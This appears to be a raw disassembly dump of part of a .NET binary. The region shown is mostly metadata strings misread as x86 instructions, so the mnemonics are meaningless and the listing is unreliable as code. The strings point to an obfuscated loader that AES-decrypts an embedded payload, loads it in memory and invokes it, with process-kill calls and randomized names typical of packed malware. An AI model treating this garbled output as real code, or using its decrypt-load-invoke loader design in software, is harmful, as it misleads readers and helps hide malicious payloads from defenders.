407b2f:	77 64                	ja     0x407b95
407b31:	61                   	popa
407b32:	77 64                	ja     0x407b98
407b34:	61                   	popa
407b35:	77 64                	ja     0x407b9b
407b37:	61                   	popa
407b38:	64 61                	fs popa
407b3a:	64 61                	fs popa
407b3c:	77 45                	ja     0x407b83
407b3e:	43                   	inc    %ebx
407b3f:	58                   	pop    %eax
407b40:	45                   	inc    %ebp
407b41:	53                   	push   %ebx
407b42:	00 44 61 74          	add    %al,0x74(%ecx,%eiz,2)
407b46:	61                   	popa
407b47:	00 6b 65             	add    %ch,0x65(%ebx)
407b4a:	79 00                	jns    0x407b4c
407b4c:	41                   	inc    %ecx
407b4d:	65 73 43             	gs jae 0x407b93
407b50:	72 79                	jb     0x407bcb
407b52:	70 74                	jo     0x407bc8
407b54:	6f                   	outsl  %ds:(%esi),(%dx)
407b55:	53                   	push   %ebx
407b56:	65 72 76             	gs jb  0x407bcf
407b59:	69 63 65 50 72 6f 76 	imul   $0x766f7250,0x65(%ebx),%esp
407b60:	69 64 65 72 00 53 79 	imul   $0x73795300,0x72(%ebp,%eiz,2),%esp
407b67:	73
407b68:	74 65                	je     0x407bcf
407b6a:	6d                   	insl   (%dx),%es:(%edi)
407b6b:	2e 53                	cs push %ebx
407b6d:	65 63 75 72          	arpl   %esi,%gs:0x72(%ebp)
407b71:	69 74 79 2e 43 72 79 	imul   $0x70797243,0x2e(%ecx,%edi,2),%esi
407b78:	70
407b79:	74 6f                	je     0x407bea
407b7b:	67 72 61             	addr16 jb 0x407bdf
407b7e:	70 68                	jo     0x407be8
407b80:	79 00                	jns    0x407b82
407b82:	53                   	push   %ebx
407b83:	79 73                	jns    0x407bf8
407b85:	74 65                	je     0x407bec
407b87:	6d                   	insl   (%dx),%es:(%edi)
407b88:	2e 43                	cs inc %ebx
407b8a:	6f                   	outsl  %ds:(%esi),(%dx)
407b8b:	72 65                	jb     0x407bf2
407b8d:	00 43 00             	add    %al,0x0(%ebx)
407b90:	54                   	push   %esp
407b91:	79 70                	jns    0x407c03
407b93:	65 00 49 6e          	add    %cl,%gs:0x6e(%ecx)
407b97:	76 6f                	jbe    0x407c08
407b99:	6b 65 4d 65          	imul   $0x65,0x4d(%ebp),%esp
407b9d:	6d                   	insl   (%dx),%es:(%edi)
407b9e:	62 65 72             	bound  %esp,0x72(%ebp)
407ba1:	00 42 69             	add    %al,0x69(%edx)
407ba4:	6e                   	outsb  %ds:(%esi),(%dx)
407ba5:	64 69 6e 67 46 6c 61 	imul   $0x67616c46,%fs:0x67(%esi),%ebp
407bac:	67
407bad:	73 00                	jae    0x407baf
407baf:	42                   	inc    %edx
407bb0:	69 6e 64 65 72 00 63 	imul   $0x63007265,0x64(%esi),%ebp
407bb7:	34 6f                	xor    $0x6f,%al
407bb9:	74 41                	je     0x407bfc
407bbb:	53                   	push   %ebx
407bbc:	32 51 36             	xor    0x36(%ecx),%dl
407bbf:	70 61                	jo     0x407c22
407bc1:	71 72                	jno    0x407c35
407bc3:	56                   	push   %esi
407bc4:	50                   	push   %eax
407bc5:	63 4a 79             	arpl   %ecx,0x79(%edx)
407bc8:	00 6d 6f             	add    %ch,0x6f(%ebp)
407bcb:	4b                   	dec    %ebx
407bcc:	4b                   	dec    %ebx
407bcd:	59                   	pop    %ecx
407bce:	69 55 6e 52 35 56 42 	imul   $0x42563552,0x6e(%ebp),%edx
407bd5:	53                   	push   %ebx
407bd6:	6e                   	outsb  %ds:(%esi),(%dx)
407bd7:	6b 55 41 54          	imul   $0x54,0x41(%ebp),%edx
407bdb:	00 4c 6f 61          	add    %cl,0x61(%edi,%ebp,2)
407bdf:	64 00 4c 56 74       	add    %cl,%fs:0x74(%esi,%edx,2)
407be4:	4c                   	dec    %esp
407be5:	37                   	aaa
407be6:	39 71 51             	cmp    %esi,0x51(%ecx)
407be9:	50                   	push   %eax
407bea:	76 34                	jbe    0x407c20
407bec:	4b                   	dec    %ebx
407bed:	36 50                	ss push %eax
407bef:	30 6f 68             	xor    %ch,0x68(%edi)
407bf2:	47                   	inc    %edi
407bf3:	00 64 68 51          	add    %ah,0x51(%eax,%ebp,2)
407bf7:	77 66                	ja     0x407c5f
407bf9:	66 76 37             	data16 jbe 0x407c33
407bfc:	4f                   	dec    %edi
407bfd:	52                   	push   %edx
407bfe:	4b                   	dec    %ebx
407bff:	4c                   	dec    %esp
407c00:	64 47                	fs inc %edi
407c02:	78 65                	js     0x407c69
407c04:	74 33                	je     0x407c39
407c06:	00 6a 39             	add    %ch,0x39(%edx)
407c09:	68 61 65 4d 46       	push   $0x464d6561
407c0e:	31 31                	xor    %esi,(%ecx)
407c10:	65 35 37 6b 67 37    	gs xor $0x37676b37,%eax
407c16:	4e                   	dec    %esi
407c17:	68 66 00 53 79       	push   $0x79530066
407c1c:	6d                   	insl   (%dx),%es:(%edi)
407c1d:	6d                   	insl   (%dx),%es:(%edi)
407c1e:	65 74 72             	gs je  0x407c93
407c21:	69 63 41 6c 67 6f 72 	imul   $0x726f676c,0x41(%ebx),%esp
407c28:	69 74 68 6d 00 73 65 	imul   $0x74657300,0x6d(%eax,%ebp,2),%esi
407c2f:	74
407c30:	5f                   	pop    %edi
407c31:	4b                   	dec    %ebx
407c32:	65 79 53             	gs jns 0x407c88
407c35:	69 7a 65 00 51 70 47 	imul   $0x47705100,0x65(%edx),%edi
407c3c:	4b                   	dec    %ebx
407c3d:	37                   	aaa
407c3e:	33 79 52             	xor    0x52(%ecx),%edi
407c41:	42                   	inc    %edx
407c42:	6b 41 30 56          	imul   $0x56,0x30(%ecx),%eax
407c46:	77 71                	ja     0x407cb9
407c48:	64 46                	fs inc %esi
407c4a:	55                   	push   %ebp
407c4b:	00 73 65             	add    %dh,0x65(%ebx)
407c4e:	74 5f                	je     0x407caf
407c50:	4b                   	dec    %ebx
407c51:	65 79 00             	gs jns 0x407c54
407c54:	4c                   	dec    %esp
407c55:	44                   	inc    %esp
407c56:	77 4e                	ja     0x407ca6
407c58:	6a 4e                	push   $0x4e
407c5a:	37                   	aaa
407c5b:	32 4d 6a             	xor    0x6a(%ebp),%cl
407c5e:	5a                   	pop    %edx
407c5f:	34 46                	xor    $0x46,%al
407c61:	68 6a 76 41 6d       	push   $0x6d41766a
407c66:	00 43 69             	add    %al,0x69(%ebx)
407c69:	70 68                	jo     0x407cd3
407c6b:	65 72 4d             	gs jb  0x407cbb
407c6e:	6f                   	outsl  %ds:(%esi),(%dx)
407c6f:	64 65 00 73 65       	fs add %dh,%gs:0x65(%ebx)
407c74:	74 5f                	je     0x407cd5
407c76:	4d                   	dec    %ebp
407c77:	6f                   	outsl  %ds:(%esi),(%dx)
407c78:	64 65 00 44 6d 45    	fs add %al,%gs:0x45(%ebp,%ebp,2)
407c7e:	65 67 46             	gs addr16 inc %esi
407c81:	6c                   	insb   (%dx),%es:(%edi)
407c82:	48                   	dec    %eax
407c83:	30 47 44             	xor    %al,0x44(%edi)
407c86:	4f                   	dec    %edi
407c87:	71 73                	jno    0x407cfc
407c89:	31 79 73             	xor    %edi,0x73(%ecx)
407c8c:	58                   	pop    %eax
407c8d:	00 43 72             	add    %al,0x72(%ebx)
407c90:	65 61                	gs popa
407c92:	74 65                	je     0x407cf9
407c94:	44                   	inc    %esp
407c95:	65 63 72 79          	arpl   %esi,%gs:0x79(%edx)
407c99:	70 74                	jo     0x407d0f
407c9b:	6f                   	outsl  %ds:(%esi),(%dx)
407c9c:	72 00                	jb     0x407c9e
407c9e:	49                   	dec    %ecx
407c9f:	43                   	inc    %ebx
407ca0:	72 79                	jb     0x407d1b
407ca2:	70 74                	jo     0x407d18
407ca4:	6f                   	outsl  %ds:(%esi),(%dx)
407ca5:	54                   	push   %esp
407ca6:	72 61                	jb     0x407d09
407ca8:	6e                   	outsb  %ds:(%esi),(%dx)
407ca9:	73 66                	jae    0x407d11
407cab:	6f                   	outsl  %ds:(%esi),(%dx)
407cac:	72 6d                	jb     0x407d1b
407cae:	00 6b 46             	add    %ch,0x46(%ebx)
407cb1:	66 70 71             	data16 jo 0x407d25
407cb4:	4d                   	dec    %ebp
407cb5:	67 56                	addr16 push %esi
407cb7:	73 34                	jae    0x407ced
407cb9:	50                   	push   %eax
407cba:	75 37                	jne    0x407cf3
407cbc:	44                   	inc    %esp
407cbd:	52                   	push   %edx
407cbe:	57                   	push   %edi
407cbf:	74 54                	je     0x407d15
407cc1:	00 54 72 61          	add    %dl,0x61(%edx,%esi,2)
407cc5:	6e                   	outsb  %ds:(%esi),(%dx)
407cc6:	73 66                	jae    0x407d2e
407cc8:	6f                   	outsl  %ds:(%esi),(%dx)
407cc9:	72 6d                	jb     0x407d38
407ccb:	46                   	inc    %esi
407ccc:	69 6e 61 6c 42 6c 6f 	imul   $0x6f6c426c,0x61(%esi),%ebp
407cd3:	63 6b 00             	arpl   %ebp,0x0(%ebx)
407cd6:	4e                   	dec    %esi
407cd7:	73 68                	jae    0x407d41
407cd9:	6b 51 6d 72          	imul   $0x72,0x6d(%ecx),%edx
407cdd:	43                   	inc    %ebx
407cde:	5a                   	pop    %edx
407cdf:	56                   	push   %esi
407ce0:	33 52 6e             	xor    0x6e(%edx),%edx
407ce3:	36 34 57             	ss xor $0x57,%al
407ce6:	37                   	aaa
407ce7:	31 00                	xor    %eax,(%eax)
407ce9:	47                   	inc    %edi
407cea:	65 74 54             	gs je  0x407d41
407ced:	79 70                	jns    0x407d5f
407cef:	65 73 00             	gs jae 0x407cf2
407cf2:	4f                   	dec    %edi
407cf3:	6e                   	outsb  %ds:(%esi),(%dx)
407cf4:	39 42 76             	cmp    %eax,0x76(%edx)
407cf7:	68 35 49 42 70       	push   $0x70424935
407cfc:	75 54                	jne    0x407d52
407cfe:	73 78                	jae    0x407d78
407d00:	47                   	inc    %edi
407d01:	6a 4e                	push   $0x4e
407d03:	58                   	pop    %eax
407d04:	00 4d 65             	add    %cl,0x65(%ebp)
407d07:	6d                   	insl   (%dx),%es:(%edi)
407d08:	62 65 72             	bound  %esp,0x72(%ebp)
407d0b:	49                   	dec    %ecx
407d0c:	6e                   	outsb  %ds:(%esi),(%dx)
407d0d:	66 6f                	outsw  %ds:(%esi),(%dx)
407d0f:	00 67 65             	add    %ah,0x65(%edi)
407d12:	74 5f                	je     0x407d73
407d14:	4e                   	dec    %esi
407d15:	61                   	popa
407d16:	6d                   	insl   (%dx),%es:(%edi)
407d17:	65 00 49 76          	add    %cl,%gs:0x76(%ecx)
407d1b:	59                   	pop    %ecx
407d1c:	66 56                	push   %si
407d1e:	35 6e 6f 62 4e       	xor    $0x4e626f6e,%eax
407d23:	67 4e                	addr16 dec %esi
407d25:	31 54 57 38          	xor    %edx,0x38(%edi,%edx,2)
407d29:	37                   	aaa
407d2a:	79 00                	jns    0x407d2c
407d2c:	6f                   	outsl  %ds:(%esi),(%dx)
407d2d:	70 5f                	jo     0x407d8e
407d2f:	45                   	inc    %ebp
407d30:	71 75                	jno    0x407da7
407d32:	61                   	popa
407d33:	6c                   	insb   (%dx),%es:(%edi)
407d34:	69 74 79 00 73 6e 6d 	imul   $0x4e6d6e73,0x0(%ecx,%edi,2),%esi
407d3b:	4e
407d3c:	63 55 77             	arpl   %edx,0x77(%ebp)
407d3f:	77 69                	ja     0x407daa
407d41:	69 4f 34 34 62 66 38 	imul   $0x38666234,0x34(%edi),%ecx
407d48:	49                   	dec    %ecx
407d49:	6b 00 50             	imul   $0x50,(%eax),%eax
407d4c:	72 6f                	jb     0x407dbd
407d4e:	63 65 73             	arpl   %esp,0x73(%ebp)
407d51:	73 00                	jae    0x407d53
407d53:	47                   	inc    %edi
407d54:	65 74 43             	gs je  0x407d9a
407d57:	75 72                	jne    0x407dcb
407d59:	72 65                	jb     0x407dc0
407d5b:	6e                   	outsb  %ds:(%esi),(%dx)
407d5c:	74 50                	je     0x407dae
407d5e:	72 6f                	jb     0x407dcf
407d60:	63 65 73             	arpl   %esp,0x73(%ebp)
407d63:	73 00                	jae    0x407d65
407d65:	58                   	pop    %eax
407d66:	77 32                	ja     0x407d9a
407d68:	45                   	inc    %ebp
407d69:	76 66                	jbe    0x407dd1
407d6b:	54                   	push   %esp
407d6c:	44                   	inc    %esp
407d6d:	37                   	aaa
407d6e:	39 69 33             	cmp    %ebp,0x33(%ecx)
407d71:	78 30                	js     0x407da3
407d73:	65 72 41             	gs jb  0x407db7
407d76:	31 00                	xor    %eax,(%eax)
407d78:	4b                   	dec    %ebx
407d79:	69 6c 6c 00 55 50 65 	imul   $0x32655055,0x0(%esp,%ebp,2),%ebp
407d80:	32
407d81:	48                   	dec    %eax
407d82:	45                   	inc    %ebp
407d83:	65 52                	gs push %edx
407d85:	41                   	inc    %ecx
407d86:	30 4d 55             	xor    %cl,0x55(%ebp)
407d89:	46                   	inc    %esi
407d8a:	46                   	inc    %esi
407d8b:	49                   	dec    %ecx
407d8c:	66 46                	inc    %si
407d8e:	66 00 00             	data16 add %al,(%eax)
407d91:	00 00                	add    %al,(%eax)
407d93:	03 58 00             	add    0x0(%eax),%ebx
407d96:	00 00                	add    %al,(%eax)
407d98:	00 00                	add    %al,(%eax)
407d9a:	e8 ca b2 d8 a6       	call   0xa7193069
407d9f:	c1 9f 44 9a ed 24 f8 	rcrl   $0xf8,0x24ed9a44(%edi)
407da6:	9b                   	fwait
407da7:	2d b9 d9 00 08       	sub    $0x800d9b9,%eax
407dac:	01 00                	add    %eax,(%eax)
407dae:	08 00                	or     %al,(%eax)
407db0:	00 00                	add    %al,(%eax)
407db2:	00 00                	add    %al,(%eax)
407db4:	08 b7 7a 5c 56 19    	or     %dh,0x19565c7a(%edi)
407dba:	34 e0                	xor    $0xe0,%al
407dbc:	89 04 20             	mov    %eax,(%eax,%eiz,1)
407dbf:	01 01                	add    %eax,(%ecx)
407dc1:	08 1e                	or     %bl,(%esi)
407dc3:	01 00                	add    %eax,(%eax)
407dc5:	01 00                	add    %eax,(%eax)
407dc7:	54                   	push   %esp
407dc8:	02 16                	add    (%esi),%dl
407dca:	57                   	push   %edi
407dcb:	72 61                	jb     0x407e2e
407dcd:	70 4e                	jo     0x407e1d
407dcf:	6f                   	outsl  %ds:(%esi),(%dx)
407dd0:	6e                   	outsb  %ds:(%esi),(%dx)
407dd1:	45                   	inc    %ebp
407dd2:	78 63                	js     0x407e37
407dd4:	65 70 74             	gs jo  0x407e4b
407dd7:	69 6f 6e 54 68 72 6f 	imul   $0x6f726854,0x6e(%edi),%ebp
407dde:	77 73                	ja     0x407e53
407de0:	01 03                	add    %eax,(%ebx)
407de2:	20 00                	and    %al,(%eax)
407de4:	01 08                	add    %ecx,(%eax)
407de6:	01 00                	add    %eax,(%eax)
407de8:	07                   	pop    %es
407de9:	01 00                	add    %eax,(%eax)
407deb:	00 00                	add    %al,(%eax)
407ded:	00 05 20 01 01 11    	add    %al,0x11010120
407df3:	1d 05 01 00 00       	sbb    $0x105,%eax
407df8:	00 00                	add    %al,(%eax)
407dfa:	04 20                	add    $0x20,%al
407dfc:	01 01                	add    %eax,(%ecx)
407dfe:	02 29                	add    (%ecx),%ch
407e00:	01 00                	add    %eax,(%eax)
407e02:	24 39                	and    $0x39,%al
407e04:	34 66                	xor    $0x66,%al
407e06:	66 65 35 39 33       	gs xor $0x3339,%ax
407e0b:	2d 37 35 35 38       	sub    $0x38353537,%eax
407e10:	2d 34 63 63 31       	sub    $0x31636334,%eax
407e15:	2d 61 63 64 36       	sub    $0x36646361,%eax
407e1a:	2d 37 61 38 61       	sub    $0x61386137,%eax
407e1f:	38 34 63             	cmp    %dh,(%ebx,%eiz,2)
407e22:	35 66 34 39 66       	xor    $0x66393466,%eax
407e27:	00 00                	add    %al,(%eax)
407e29:	04 20                	add    $0x20,%al
407e2b:	01 01                	add    %eax,(%ecx)
407e2d:	0e                   	push   %cs
407e2e:	0c 01                	or     $0x1,%al
407e30:	00 07                	add    %al,(%edi)
407e32:	31 2e                	xor    %ebp,(%esi)
407e34:	30 2e                	xor    %ch,(%esi)
407e36:	30 2e                	xor    %ch,(%esi)
407e38:	30 00                	xor    %al,(%eax)
407e3a:	00 47 01             	add    %al,0x1(%edi)
407e3d:	00 1a                	add    %bl,(%edx)
407e3f:	2e 4e                	cs dec %esi
407e41:	45                   	inc    %ebp
407e42:	54                   	push   %esp
407e43:	46                   	inc    %esi